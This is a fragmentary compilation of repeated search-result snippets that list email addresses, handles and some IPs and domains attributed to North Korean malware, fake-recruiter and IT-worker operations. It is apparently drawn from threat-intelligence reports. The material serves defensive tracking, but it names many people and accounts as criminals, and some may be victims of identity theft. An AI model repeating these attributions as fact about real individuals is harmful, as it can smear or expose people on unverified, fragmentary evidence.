henrybaldovino81@gmail.com hercules428u+c3co86omol@gmail.com hfish7789@gmail.com hidev237@gmail.com hidev537@gmail.com higher.arrow.b59b73@gizmotik.com hillerwilliam0829@gmail.com hiqdevlord@gmail.com hiroshi.tokudome092…","…hellojohnsmith0521@gmail.com hendrik.flynn@minofangle.org henrybaldovino81@gmail.com hercules428u+c3co86omol@gmail.com hfish7789@gmail.com hidev237@gmail.com hidev537@gmail.com higher.arrow.b59b73@gizmotik.com hillerwilliam0829@gmail.com hiqdevlord@gmail.com hiroshi.tokudome0921@gmail.com hitmand…","…@gmail.com hendrik.flynn@minofangle.org henrybaldovino81@gmail.com hercules428u+c3co86omol@gmail.com hfish7789@gmail.com hidev237@gmail.com hidev537@gmail.com higher.arrow.b59b73@gizmotik.com hillerwilliam0829@gmail.com hiqdevlord@gmail.com hiroshi.tokudome0921@gmail.com hitmandenemark@gmail.com h…","…Year in Review ahmed03010229@gmail.com email malware N/A April 2025 DPRK malware distributor GitLab.com account Year in Review hidranomagica@outlook.com email malware N/A March 2025 DPRK malware distributor GitLab.com account Year in Review jackson.blau.eth@gmail.com email malware N/A…","…flynn@minofangle.org henrybaldovino81@gmail.com hercules428u+c3co86omol@gmail.com hfish7789@gmail.com hidev237@gmail.com hidev537@gmail.com higher.arrow.b59b73@gizmotik.com hillerwilliam0829@gmail.com hiqdevlord@gmail.com hiroshi.tokudome0921@gmail.com hitmandenemark@gmail.com hiycrlfsugvgfkriqd@bbitj.com hokad…","…toptalent48@gmail.com - alexstepan0209@gmail.com - kkopbusiness1213@gmail.com - blockchain4webdev@gmail.com - HighleyHilmaU@gmail.com - yemelyan.yevdokimov.domain1121@gmail.com - qiqq-ps@eclipso.eu - illia.butenko89@gmail.com - ddksniper@gmail.com -…","…313@gmail.com davidsuzuki51@gmail.com toptalent48@gmail.com alexstepan0209@gmail.com kkopbusiness1213@gmail.com blockchain4webdev@gmail.com HighleyHilmaU@gmail.com yemelyan.yevdokimov.domain1121@gmail.com qiqq-ps@eclipso.eu illia.butenko89@gmail.com ddksniper@gmail.com intellichain555@gmail.com salbu15…","…no81@gmail.com hercules428u+c3co86omol@gmail.com hfish7789@gmail.com hidev237@gmail.com hidev537@gmail.com higher.arrow.b59b73@gizmotik.com hillerwilliam0829@gmail.com hiqdevlord@gmail.com hiroshi.tokudome0921@gmail.com hitmandenemark@gmail.com hiycrlfsugvgfkriqd@bbitj.com hokadev798@visignal.com holy.dev.…","…c3co86omol@gmail.com hfish7789@gmail.com hidev237@gmail.com hidev537@gmail.com higher.arrow.b59b73@gizmotik.com hillerwilliam0829@gmail.com hiqdevlord@gmail.com hiroshi.tokudome0921@gmail.com hitmandenemark@gmail.com hiycrlfsugvgfkriqd@bbitj.com hokadev798@visignal.com holy.dev.902@gmail.com honest.…","…maria.sam.recruiter@gmail.com toptalent0921@gmail.com business00747@gmail.com eric.c01.recruit@gmail.com hiring.dev.hr@gmail.com carrie.bale.recruit@gmail.com emilyjobs.rec2023@gmail.com mars.recruiting.hiring@gmail.com shauncepla.hrteam@gmail.com…","…hfish7789@gmail.com hidev237@gmail.com hidev537@gmail.com higher.arrow.b59b73@gizmotik.com hillerwilliam0829@gmail.com hiqdevlord@gmail.com hiroshi.tokudome0921@gmail.com hitmandenemark@gmail.com hiycrlfsugvgfkriqd@bbitj.com hokadev798@visignal.com holy.dev.902@gmail.com honest.dev0104@gmail.com honestkiddy8@…","…guilddmelihb2r@hotmail.com hmax23410@gmail.com hectorramirez008@outlook.com hendriksenelise727@gmail.com hiroshi.watanabe1011@gmail.com holppkgaske6i75@outlook.com iandavies2313@gmail.com jackson.tf7.eth@gmail.com jahmiekstreetmanxlj126940778@hotmail.com…","…ail.com hidev537@gmail.com higher.arrow.b59b73@gizmotik.com hillerwilliam0829@gmail.com hiqdevlord@gmail.com hiroshi.tokudome0921@gmail.com hitmandenemark@gmail.com hiycrlfsugvgfkriqd@bbitj.com hokadev798@visignal.com holy.dev.902@gmail.com honest.dev0104@gmail.com honestkiddy8@gmail.com honeylovedesign…","…insider N/A N/A Threat actor-controlled email 1 happyleonardo77@gmail.com email insider N/A N/A Threat actor-controlled email 1 hittapa9@gmail.com email insider N/A N/A Threat actor-controlled email 1 housinginmadrid@gmail.com email insider N/A N/A Threat actor-controlled email 1…","Read from GitLab's screenshot of the Beijing cell's ledger of deposits and withdrawals for November 2025, in the first case study (the cell GitLab assesses Kang Kil Nam manages). hittapa9@outlook.com is the destination of a transfer to Wise; hittapa9@gmail.com, which GitLab lists in its appendix, is in the same sheet. morojojoizel@gmail.com appears among the sheet's receiving accounts and beside a rated freelance-platform plan. Neither address is in the report's appendix table, so both rest on the screenshot alone. A third address in the same sheet, attached to a transfer to a named individual, is held back: GitLab warns that the people a cell works through may include unwitting facilitators and victims of identity theft.","…m higher.arrow.b59b73@gizmotik.com hillerwilliam0829@gmail.com hiqdevlord@gmail.com hiroshi.tokudome0921@gmail.com hitmandenemark@gmail.com hiycrlfsugvgfkriqd@bbitj.com hokadev798@visignal.com holy.dev.902@gmail.com honest.dev0104@gmail.com honestkiddy8@gmail.com honeylovedesign199418@gmail.com hook.hacker.…","…garycorn@loopsoft.tech goldenrhynodev@gmail.com grayce@xuchuyen.com guograce902@gmail.com guilddmelihb2r@hotmail.com hmax23410@gmail.com hectorramirez008@outlook.com hendriksenelise727@gmail.com hiroshi.watanabe1011@gmail.com holppkgaske6i75@outlook.com…","…0.0.2 2025-07-15 12:05:01 vladislavkarniushka vladkashka56@gmail.com vite-postcss-bootstrap 0.0.4 2025-07-16 04:36:24 hmax hmax23410@gmail.com vite-postcss-helper 3.0.4 2025-07-17 16:58:01 goldenrhyno goldenrhynodev@gmail.com vite-postcss-kit 3.0.5 2025-07-21 11:27:40…","…k.com hillerwilliam0829@gmail.com hiqdevlord@gmail.com hiroshi.tokudome0921@gmail.com hitmandenemark@gmail.com hiycrlfsugvgfkriqd@bbitj.com hokadev798@visignal.com holy.dev.902@gmail.com honest.dev0104@gmail.com honestkiddy8@gmail.com honeylovedesign199418@gmail.com hook.hacker.me@gmail.com hope4wd88@g…","…hmax23410@gmail.com hectorramirez008@outlook.com hendriksenelise727@gmail.com hiroshi.watanabe1011@gmail.com holppkgaske6i75@outlook.com iandavies2313@gmail.com jackson.tf7.eth@gmail.com jahmiekstreetmanxlj126940778@hotmail.com jaya.lubiszn@hotmail.com…","…gmail.com hiqdevlord@gmail.com hiroshi.tokudome0921@gmail.com hitmandenemark@gmail.com hiycrlfsugvgfkriqd@bbitj.com hokadev798@visignal.com holy.dev.902@gmail.com honest.dev0104@gmail.com honestkiddy8@gmail.com honeylovedesign199418@gmail.com hook.hacker.me@gmail.com hope4wd88@gmail.com hopemalik0512@…","…greenviewagent00541@gmail.com harborviewproperty07246@gmail.com henrylynbunnh91@hotmail.com homedealconnect81891@gmail.com homesearchpro99483@gmail.com homesolutionsnow95843@gmail.com horizonpropertyteam88973@gmail.com househunterpro12888@gmail.com…","…greenviewagent00541@gmail.com harborviewproperty07246@gmail.com henrylynbunnh91@hotmail.com homedealconnect81891@gmail.com homesearchpro99483@gmail.com homesolutionsnow95843@gmail.com horizonpropertyteam88973@gmail.com househunterpro12888@gmail.com investcereal91863@gmail.com…","…harborviewproperty07246@gmail.com henrylynbunnh91@hotmail.com homedealconnect81891@gmail.com homesearchpro99483@gmail.com homesolutionsnow95843@gmail.com horizonpropertyteam88973@gmail.com househunterpro12888@gmail.com investcereal91863@gmail.com investdreamz34518@gmail.com…","…ail.com hiroshi.tokudome0921@gmail.com hitmandenemark@gmail.com hiycrlfsugvgfkriqd@bbitj.com hokadev798@visignal.com holy.dev.902@gmail.com honest.dev0104@gmail.com honestkiddy8@gmail.com honeylovedesign199418@gmail.com hook.hacker.me@gmail.com hope4wd88@gmail.com hopemalik0512@gmail.com horsebig934@gma…","…921@gmail.com hitmandenemark@gmail.com hiycrlfsugvgfkriqd@bbitj.com hokadev798@visignal.com holy.dev.902@gmail.com honest.dev0104@gmail.com honestkiddy8@gmail.com honeylovedesign199418@gmail.com hook.hacker.me@gmail.com hope4wd88@gmail.com hopemalik0512@gmail.com horsebig934@gmail.com horsekingdaniel8…","…emark@gmail.com hiycrlfsugvgfkriqd@bbitj.com hokadev798@visignal.com holy.dev.902@gmail.com honest.dev0104@gmail.com honestkiddy8@gmail.com honeylovedesign199418@gmail.com hook.hacker.me@gmail.com hope4wd88@gmail.com hopemalik0512@gmail.com horsebig934@gmail.com horsekingdaniel82@gmail.com hotaruemori@gmail.co…","…qd@bbitj.com hokadev798@visignal.com holy.dev.902@gmail.com honest.dev0104@gmail.com honestkiddy8@gmail.com honeylovedesign199418@gmail.com hook.hacker.me@gmail.com hope4wd88@gmail.com hopemalik0512@gmail.com horsebig934@gmail.com horsekingdaniel82@gmail.com hotaruemori@gmail.com howard.jones1225@gmail.…","…isignal.com holy.dev.902@gmail.com honest.dev0104@gmail.com honestkiddy8@gmail.com honeylovedesign199418@gmail.com hook.hacker.me@gmail.com hope4wd88@gmail.com hopemalik0512@gmail.com horsebig934@gmail.com horsekingdaniel82@gmail.com hotaruemori@gmail.com howard.jones1225@gmail.com hp5lkwp8@awork.a…","….902@gmail.com honest.dev0104@gmail.com honestkiddy8@gmail.com honeylovedesign199418@gmail.com hook.hacker.me@gmail.com hope4wd88@gmail.com hopemalik0512@gmail.com horsebig934@gmail.com horsekingdaniel82@gmail.com hotaruemori@gmail.com howard.jones1225@gmail.com hp5lkwp8@awork.anonaddy.com hrrysven92@g…","…henrylynbunnh91@hotmail.com homedealconnect81891@gmail.com homesearchpro99483@gmail.com homesolutionsnow95843@gmail.com horizonpropertyteam88973@gmail.com househunterpro12888@gmail.com investcereal91863@gmail.com investdreamz34518@gmail.com investgrowthplanner16529@gmail.com…","…v0104@gmail.com honestkiddy8@gmail.com honeylovedesign199418@gmail.com hook.hacker.me@gmail.com hope4wd88@gmail.com hopemalik0512@gmail.com horsebig934@gmail.com horsekingdaniel82@gmail.com hotaruemori@gmail.com howard.jones1225@gmail.com hp5lkwp8@awork.anonaddy.com hrrysven92@gmail.com huang.jiashen…","…kiddy8@gmail.com honeylovedesign199418@gmail.com hook.hacker.me@gmail.com hope4wd88@gmail.com hopemalik0512@gmail.com horsebig934@gmail.com horsekingdaniel82@gmail.com hotaruemori@gmail.com howard.jones1225@gmail.com hp5lkwp8@awork.anonaddy.com hrrysven92@gmail.com huang.jiasheng0329@gmail.com hubamykytafr…","…hotaruemori@gmail.com[email protected] veerapandianvijai@gmail.com[email protected] akijohansson116@gmail.com[email protected]…","…sign199418@gmail.com hook.hacker.me@gmail.com hope4wd88@gmail.com hopemalik0512@gmail.com horsebig934@gmail.com horsekingdaniel82@gmail.com hotaruemori@gmail.com howard.jones1225@gmail.com hp5lkwp8@awork.anonaddy.com hrrysven92@gmail.com huang.jiasheng0329@gmail.com hubamykytafree@gmail.com hunternel…","…hotaruemori@gmail.com veerapandianvijai@gmail.com akijohansson116@gmail.com paulmillet0803@gmail.com henryan373@gmail.com wulong.sky@gmail.com saburo.snow@…","…, under the edan0831 GitHub account. yoojae-validator : Published under the npm alias “hottblaze” (email: hottblaze012@gmail.com), this package has 55 downloads.…","…homedealconnect81891@gmail.com homesearchpro99483@gmail.com homesolutionsnow95843@gmail.com horizonpropertyteam88973@gmail.com househunterpro12888@gmail.com investcereal91863@gmail.com investdreamz34518@gmail.com investgrowthplanner16529@gmail.com jasonhomesales01207@gmail.com…","…email insider N/A N/A Threat actor-controlled email 1 hittapa9@gmail.com email insider N/A N/A Threat actor-controlled email 1 housinginmadrid@gmail.com email insider N/A N/A Threat actor-controlled email 1 imadjeghalef@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","…ook.hacker.me@gmail.com hope4wd88@gmail.com hopemalik0512@gmail.com horsebig934@gmail.com horsekingdaniel82@gmail.com hotaruemori@gmail.com howard.jones1225@gmail.com hp5lkwp8@awork.anonaddy.com hrrysven92@gmail.com huang.jiasheng0329@gmail.com hubamykytafree@gmail.com hunternelson2811@gmail.com husam.mar…","…e4wd88@gmail.com hopemalik0512@gmail.com horsebig934@gmail.com horsekingdaniel82@gmail.com hotaruemori@gmail.com howard.jones1225@gmail.com hp5lkwp8@awork.anonaddy.com hrrysven92@gmail.com huang.jiasheng0329@gmail.com hubamykytafree@gmail.com hunternelson2811@gmail.com husam.markease@madeforthat.org hy99aa…","…(v1.0.0) w.ixs.t.ocle (w.ixs.t.ocle@googlemail.com) es-lint-builder-1.0.0.tgz 2026-03-12 14:51:50 pino-utils (v1.4.0) satyasu8 (hp9570@gmail.com) pino-utils-1.4.0.tgz exfil: api.bpkythuat.com 2026-03-12 09:50:19 pino-utils (v1.3.6) satyasu8 (hp9570@gmail.com) pino-utils-1.3.6.tgz…","…bulletproof-json 2026-04-07 live registry newacak3@gmail.com bundrix 2026-03-24 live registry hr@chainlence.com byteboxlab 2026-04-15 live registry ashleytaylortech@outlook.com byteutilsbox 2026-04-16 live registry…","…mjs-biginteger 2026-03-23 live registry n.ar.a.tat.ia.n.aaa@gmail.com modustack 2026-03-24 live registry hr@vynlence.com next-runtimejs 2026-04-09 live registry jr0819@proton.me node-metrica 2026-03-30 graph first seen…","…slavomir829612@outlook.com[email protected] talenteddeveloper098@gmail.com[email protected] hrachya1995dev@gmail.com[email protected] hrachya1995dev@outlook.com[email protected] ivanyanhrach1995@gmail.com[email protected]…","…look.com safranov512@yahoo.com slavomir829@hotmail.com slavomir829612@hotmail.com slavomir829612@outlook.com talenteddeveloper098@gmail.com hrachya1995dev@gmail.com hrachya1995dev@outlook.com ivanyanhrach1995@gmail.com ivanyanch19891111@gmail.com shyam6191@gmail.com Socials: ---------------------------…","…o.com slavomir829@hotmail.com slavomir829612@hotmail.com slavomir829612@outlook.com talenteddeveloper098@gmail.com hrachya1995dev@gmail.com hrachya1995dev@outlook.com ivanyanhrach1995@gmail.com ivanyanch19891111@gmail.com shyam6191@gmail.com Socials: --------------------------------- https://www.linkedin…","…12@gmail.com horsebig934@gmail.com horsekingdaniel82@gmail.com hotaruemori@gmail.com howard.jones1225@gmail.com hp5lkwp8@awork.anonaddy.com hrrysven92@gmail.com huang.jiasheng0329@gmail.com hubamykytafree@gmail.com hunternelson2811@gmail.com husam.markease@madeforthat.org hy99aa@gmail.com i.asan825.…","…Year in Review chrisritter5272@outlook.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review hs8179189@gmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review dredsoft@proton.me email malware N/A July 2025…","Found on 24 September 2026 by searching GitHub's commit index for the address browsercookies published for this persona in the profile-picture thread of 17 May 2025. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so a former handle is a matter of record; and GitHub attributes a commit to whichever account has its address registered, which only the address's holder can do.\n\ngithub.com/huaming422 is account id 95515037, created on 4 December 2021, display name Huaming Wang, bio Senior FullStack, Mobile & Blockchain Developer. Its noreply addresses show it has also been named jajeni83, the persona's address as a handle, crypto422 and phillip422, among others. Twenty-six of its repositories hold 60 commits signed jajeni83@gmail.com, dated May 2022 to May 2023, and it signs its own recent commits huamingwang422@gmail.com. GitHub attributes jajeni83@gmail.com to the login hasanguray, which no longer resolves; it is recorded as the account that held the address.","…934@gmail.com horsekingdaniel82@gmail.com hotaruemori@gmail.com howard.jones1225@gmail.com hp5lkwp8@awork.anonaddy.com hrrysven92@gmail.com huang.jiasheng0329@gmail.com hubamykytafree@gmail.com hunternelson2811@gmail.com husam.markease@madeforthat.org hy99aa@gmail.com i.asan825.mail@gmail.com i053rsdn@nabei…","…82@gmail.com hotaruemori@gmail.com howard.jones1225@gmail.com hp5lkwp8@awork.anonaddy.com hrrysven92@gmail.com huang.jiasheng0329@gmail.com hubamykytafree@gmail.com hunternelson2811@gmail.com husam.markease@madeforthat.org hy99aa@gmail.com i.asan825.mail@gmail.com i053rsdn@nabeix.anonaddy.com iceprince.…","…justshiftjk (Also known as 0xAlche or Adam Glab) apollum.today@gmail.com: apollotoday (Also known as AnotherRusty or Matthias Li) hudes0112@gmail.com: m4rcu5o (Also operated by apollotoday) mufasa030831@gmail.com: Cornel keigo263129@outlook.com: Adrian AnotherRusty AnotherRusty…","…in favor of clean visuals.\",\"x\":3891,\"y\":-780,\"width\":259,\"height\":120,\"color\":\"2\"}, {\"id\":\"1c5539cb949c2f67\",\"type\":\"text\",\"text\":\"hudes0112@gmail.com\",\"x\":3891,\"y\":-600,\"width\":250,\"height\":60,\"color\":\"4\"},…","…Year in Review jackson.murray.tf7@gmail.com email malware N/A June 2025 DPRK malware distributor GitLab.com account Year in Review hudsonramsey107@outlook.com email malware N/A June 2025 DPRK malware distributor GitLab.com account Year in Review samjanntapia@gmail.com email malware N/A June…","…4445313@qq.com - peterzhou0802@gmail.com - kawabatakyo0922@outlook.com - jamesybarra114@gmail.com - jo.hnceballos0716@gmail.com - hughnolan88@gmail.com - deliminallimited.ws@outlook.com - galaxy85126@gmail.com - leopawel65@gmail.com - github.com/peterz-codes - github.com/camonanesi -…","…ru hexiao34@mail.ru 4445313@qq.com peterzhou0802@gmail.com kawabatakyo0922@outlook.com jamesybarra114@gmail.com jo.hnceballos0716@gmail.com hughnolan88@gmail.com deliminallimited.ws@outlook.com galaxy85126@gmail.com leopawel65@gmail.com Github: https://github.com/peterz-codes https://github.com/camo…","…insider N/A N/A Threat actor persona email 4 maradanod.favomubo@vintomaper.com email insider N/A N/A Threat actor persona email 4 humblechoice.dev@gmail.com email insider N/A N/A Threat actor persona email 4 jairoalberto2208@hotmail.com email insider N/A N/A Threat actor persona email 4…","…fairdev610@gmail.com 70.39.70.194 marvel714jm@gmail.com 77.247.126.189 montessantiago9712@gmail.com 38.170.181.10 hundredup2023@gmail.com 70.32.3.15 huzqur023@gmail.com 89.19.58.51 A significant portion of the IP addresses used for registration, such as…","…(SENDER) daisukeoikitsugu@gmail.com (RECIPIENT) eliteengineer8523@gmail.com (AM) rockstar96954@gmail.com (RC) hundredup2023@gmail.com (TP) phoenixfire471@gmail.com (MM) awesomium430@gmail.com (AU) maestro2819@gmail.com (SI) rodriguezjamesdaniel0807@gmail.com…","…but has observed several points of overlap For example, in September 2025, researchers at SentinelOne identified the email address hundredup2023@gmail.com that was unintentionally exposed in a script on a PurpleBravo (Contagious Interview) malware distribution server.…","…gmail.com hanhd7231@gmail.com artemyaroshenko540@gmail.com ratushniakoleksii8@gmail.com sparukgena@gmail.com joshuagosney.dev.web@gmail.com hungpham.web3@gmail.com mak.martynenko22@gmail.com mark.developer.2006@gmail.com kevin.tsang.coder@gmail.com henry.zhang@gmail.com viacheslay.zadorozhnyi3863@gmail…","…gmail.com howard.jones1225@gmail.com hp5lkwp8@awork.anonaddy.com hrrysven92@gmail.com huang.jiasheng0329@gmail.com hubamykytafree@gmail.com hunternelson2811@gmail.com husam.markease@madeforthat.org hy99aa@gmail.com i.asan825.mail@gmail.com i053rsdn@nabeix.anonaddy.com iceprince.L528+230710032200@gmail.com…","…Year in Review tomgleeson92@outlook.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review huqyyitizomu@hotmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review tracykevin5590@gmail.com email malware N/A July…","…gmail.com hp5lkwp8@awork.anonaddy.com hrrysven92@gmail.com huang.jiasheng0329@gmail.com hubamykytafree@gmail.com hunternelson2811@gmail.com husam.markease@madeforthat.org hy99aa@gmail.com i.asan825.mail@gmail.com i053rsdn@nabeix.anonaddy.com iceprince.L528+230710032200@gmail.com iceprince.L528@gmail.com icepr…","…marvel714jm@gmail.com 77.247.126.189 montessantiago9712@gmail.com 38.170.181.10 hundredup2023@gmail.com 70.32.3.15 huzqur023@gmail.com 89.19.58.51 A significant portion of the IP addresses used for registration, such as 194.33.45.162 , 70.39.70.194 , 70.32.3.15 ,…","…dy.com hrrysven92@gmail.com huang.jiasheng0329@gmail.com hubamykytafree@gmail.com hunternelson2811@gmail.com husam.markease@madeforthat.org hy99aa@gmail.com i.asan825.mail@gmail.com i053rsdn@nabeix.anonaddy.com iceprince.L528+230710032200@gmail.com iceprince.L528@gmail.com iceprince0528@gmail.co…","…As well as some efforts for what is probably a facilitator search. justshiftjk The original HyperBuildX e-mail was defined as hyperbuildx@adamglab.dev before being changed to admin@hyperbuildx.com.…","…0329@gmail.com hubamykytafree@gmail.com hunternelson2811@gmail.com husam.markease@madeforthat.org hy99aa@gmail.com i.asan825.mail@gmail.com i053rsdn@nabeix.anonaddy.com iceprince.L528+230710032200@gmail.com iceprince.L528@gmail.com iceprince0528@gmail.com ihaisaohonor@gmail.com ihornikonov767@gmail.com imas…","…email insider N/A N/A Synthetic persona email 2 emilkokolnska@gmail.com email insider N/A N/A Synthetic persona email 2 iacovlevguzun@outlook.com email insider N/A N/A Synthetic persona email 2 dovydasmatis@outlook.com email insider N/A N/A Synthetic persona email 2…","…email insider N/A N/A Threat actor persona email 3 kari.dev1217@gmail email insider N/A N/A Threat actor persona email 3 iamjanus66@gmail.com email insider N/A N/A Threat actor persona email 3 4696382784 phone number insider N/A N/A Threat actor persona phone number 3…","…hectorramirez008@outlook.com hendriksenelise727@gmail.com hiroshi.watanabe1011@gmail.com holppkgaske6i75@outlook.com iandavies2313@gmail.com jackson.tf7.eth@gmail.com jahmiekstreetmanxlj126940778@hotmail.com jaya.lubiszn@hotmail.com jeffbennett862@gmail.com…","…is a child repo and has one commit from August 24. GitHub Users: - balocones - softwareRoom1 Email Addresses: - balocones <iandavies2313@gmail.com> Domains: - vscode-helper171.vercel.app ## Variant five - September 8, 2025 - Unique Identifier:…","…@gmail.com huang.jiasheng0329@gmail.com hubamykytafree@gmail.com hunternelson2811@gmail.com husam.markease@madeforthat.org hy99aa@gmail.com i.asan825.mail@gmail.com i053rsdn@nabeix.anonaddy.com iceprince.L528+230710032200@gmail.com iceprince.L528@gmail.com iceprince0528@gmail.com ihaisaohonor@gmail.com…","…t.me/flashhypo - maxb47163@gmail.com - coronarider01@gmail.com - neoprince1992@gmail.com - judekinsley911@gmail.com - icarodev1031@gmail.com - cryptobyte3@gmail.com - https://x.com/browsercookies/status/1934288397339877730 - ![](./1934288397339877730.png) #### TechWizAI -…","…t.org hy99aa@gmail.com i.asan825.mail@gmail.com i053rsdn@nabeix.anonaddy.com iceprince.L528+230710032200@gmail.com iceprince.L528@gmail.com iceprince0528@gmail.com ihaisaohonor@gmail.com ihornikonov767@gmail.com imasnpsorrels5@gmail.com infinite.moonlight0506@gmail.com infiniteaengus@gmail.com innocent…","…husam.markease@madeforthat.org hy99aa@gmail.com i.asan825.mail@gmail.com i053rsdn@nabeix.anonaddy.com iceprince.L528+230710032200@gmail.com iceprince.L528@gmail.com iceprince0528@gmail.com ihaisaohonor@gmail.com ihornikonov767@gmail.com imasnpsorrels5@gmail.com infinite.moonlight0506@gmail.com infinitea…","…intellichain555@gmail.com - salbu15154@gmail.com - goldsea808@gmail.com - goldsea808@yahoo.com - mrsteevtvw418@gmail.com - ichiro@0xlancerlab.com - hanssuperdev1026@gmail.com - hansjkiller1026@outlook.com - tomasjakson44@gmail.com - ssch26802@gmail.com - williamh8930@gmail.com -…","…m goldsea808@gmail.com goldsea808@yahoo.com alexstepan0209@gmail.com jamesybarra114@gmail.com mrsteevtvw418@gmail.com toptalent48@gmail.com ichiro@0xlancerlab.com hanssuperdev1026@gmail.com hansjkiller1026@outlook.com tomasjakson44@gmail.com ssch26802@gmail.com williamh8930@gmail.com Github: thomson0…","…casey_qadir@outlook.com cescernand@outlook.com devstar1116@gmail.com ebcappservices@gmail.com hakajakin@outlook.com ideationbrand@gmail.com legend_dev@outlook.com liko.sonexarth@gmail.com liko.sonexarth@hotmail.com longines0924@gmail.com lujindane@outlook.com…","…/tmp/ld.py Attacker-Controlled Accounts : jasonsaayman · compromised legitimate axios maintainer, email changed to ifstap@proton.me nrwise · attacker-created account, nrwise@proton.me, published plain-crypto-js Assesing wheter your npm system is affected The Safe…","…The maintainer email changed from jasonsaayman@gmail.com — present on all prior legitimate releases — to ifstap@proton.me on the malicious versions.…","…\"confirmed\" : [ { \"platform\" : \" npm+github \" , \"username\" : \" jasonsaayman \" , \"email\" : \" ifstap@proton.me \" , \"type\" : \" hijacked \" , \"note\" : \" npm AND GitHub access confirmed compromised.…","…output. Account Compromise and Dependency Staging The attacker took over jasonsaayman's npm account and changed the registered email to ifstap@proton.me: a full credential takeover.…","…According to Elastic Security Labs the email address of one of the original maintainers was changed to ifstap@proton.me indicating that the account has been compromised.…","…드로퍼 삽입 2026-03-31 00:21 Axios 메인 라인 오염 ( v1.14.1 ) • 탈취된 메인테이너 계정( jasonsaayman )을 통해 배포(탈취된 jasonsaayman 계정, 이메일: ifstap@proton.me ) • 최신 버전인 1.x 사용자 층을 타겟으로 plain-crypto-js@4.2.1 을 런타임 의존성(Dependency)로 강제 주입 2026-03-31 01:00 Axios 레거시 라인 오염 ( v0.30.4 )…","…{ \"confirmed\": [ { \"platform\": \"npm+github\", \"username\": \"jasonsaayman\", \"email\": \"ifstap@proton.me\", \"type\": \"hijacked\", \"note\": \"npm AND GitHub access confirmed compromised.…","…From there, the attackers harvested an npm access token, changed the npm account email to an attacker-controlled address ( ifstap@proton.me ), and bypassed the project’s standard GitHub Actions to publish the malicious packages directly. The incident was attributed to North…","…Year in Review michael.dilks8500@gmail.com email malware N/A January 2025 DPRK malware distributor GitLab.com account Year in Review ignacioquesada127@gmail.com email malware N/A January 2025 DPRK malware distributor GitLab.com account Year in Review…","…email insider N/A N/A Threat actor persona email 4 quxiujun520520@163.com email insider N/A N/A Threat actor persona email 4 igorslobodyan508@gmail.com email insider N/A N/A Threat actor persona email 4 brianyoung.lucky@gmail.com email insider N/A N/A Threat actor persona email 4…","….asan825.mail@gmail.com i053rsdn@nabeix.anonaddy.com iceprince.L528+230710032200@gmail.com iceprince.L528@gmail.com iceprince0528@gmail.com ihaisaohonor@gmail.com ihornikonov767@gmail.com imasnpsorrels5@gmail.com infinite.moonlight0506@gmail.com infiniteaengus@gmail.com innocentdev0512@gmail.com intel…","…i053rsdn@nabeix.anonaddy.com iceprince.L528+230710032200@gmail.com iceprince.L528@gmail.com iceprince0528@gmail.com ihaisaohonor@gmail.com ihornikonov767@gmail.com imasnpsorrels5@gmail.com infinite.moonlight0506@gmail.com infiniteaengus@gmail.com innocentdev0512@gmail.com intelibestluck@gmail.com inter…","…88d8da1b1148a07973cd1ec96d1f67d4f672b83635ec342783c1df6e38a4ad0c 2026-09-17 chai-testing (1.1.4) 2026-09-17 ihory <ihory0819@outlook.com> 951722c5567e04de8641a4ec35f6824bcd0feb8d72f6b7476827ac063d3eec7b bc5103643540917e994c3daa22faaee3701ab634a10bd4383e856b72cdba283f…","…Notes: This repo was published November 23, 2025 GitHub Users: - ihzhatamamy - James Smith Email Addresses: - Ihzha Tamamy <ihzhatamamy@gmail.com> - James Smith <ellisfleming574@gmail.com> Domains: - vscode-bootstrapper.vercel.app ## Lazarus Group loves hosting payloads on…","…0xd93587B0fcAb0D9324cCF378d44cb985a96b5B36 ### sujitb2114 - 0x6c88dd91de053fca915baece6868f6c32d20adea ### Ikeda Okura (Shiba Inu) - ikeda.okura@gmail.com - okura.ikeda0325@gmail.com - github.com/chainlito • [Archive](https://archive.ph/wmnFn) - woof_decentra - horaciogar -…","…blockchain4webdev@gmail.com - HighleyHilmaU@gmail.com - yemelyan.yevdokimov.domain1121@gmail.com - qiqq-ps@eclipso.eu - illia.butenko89@gmail.com - ddksniper@gmail.com - intellichain555@gmail.com - salbu15154@gmail.com - goldsea808@gmail.com - goldsea808@yahoo.com -…","…kkopbusiness1213@gmail.com blockchain4webdev@gmail.com HighleyHilmaU@gmail.com yemelyan.yevdokimov.domain1121@gmail.com qiqq-ps@eclipso.eu illia.butenko89@gmail.com ddksniper@gmail.com intellichain555@gmail.com salbu15154@gmail.com goldsea808@gmail.com goldsea808@yahoo.com alexstepan0209@gmail.com james…","…2026-08-14 postcss-initialize-provider (3.0.4) 2026-08-14 illiakalishchuk228 <illiakalishchuk228@gmail.com> stapi.io h.drpc.org e.com et 1r https://et https://1r…","…ulid-xyz came from iloiyxo643@ufiwi.space[email protected] and redis-type-xyz from qmtijao982@ufiwi.site[email protected] , two disposable addresses on the same domain root. The…","…ulid-xyz came from iloiyxo643@ufiwi.space and redis-type-xyz from qmtijao982@ufiwi.site , two disposable addresses on the same domain root. The payload was added after…","…insider N/A N/A Threat actor-controlled email 1 housinginmadrid@gmail.com email insider N/A N/A Threat actor-controlled email 1 imadjeghalef@hotmail.com email insider N/A N/A Threat actor-controlled email 1 imranwork44@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…chulovskaolena@outlook.com oleksandrkazadaiev522@gmail.com hera19970204@outlook.com zeus19970204@outlook.com imanwdr30@hotmail.com scarlet112603@outlook.com garnerbrandy1230@gmail.com alexandercruciata11@gmail.com danxeth436@gmail.com…","….com iceprince.L528+230710032200@gmail.com iceprince.L528@gmail.com iceprince0528@gmail.com ihaisaohonor@gmail.com ihornikonov767@gmail.com imasnpsorrels5@gmail.com infinite.moonlight0506@gmail.com infiniteaengus@gmail.com innocentdev0512@gmail.com intelibestluck@gmail.com intersting987@gmail.com intrep…","…email insider N/A N/A Threat actor-controlled email 1 imadjeghalef@hotmail.com email insider N/A N/A Threat actor-controlled email 1 imranwork44@gmail.com email insider N/A N/A Threat actor-controlled email 1 indulgenight@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…email insider N/A N/A Threat actor-controlled email 1 imranwork44@gmail.com email insider N/A N/A Threat actor-controlled email 1 indulgenight@gmail.com email insider N/A N/A Threat actor-controlled email 1 janeisman@hotmail.com email insider N/A N/A Threat actor-controlled email 1…","…gmail.com 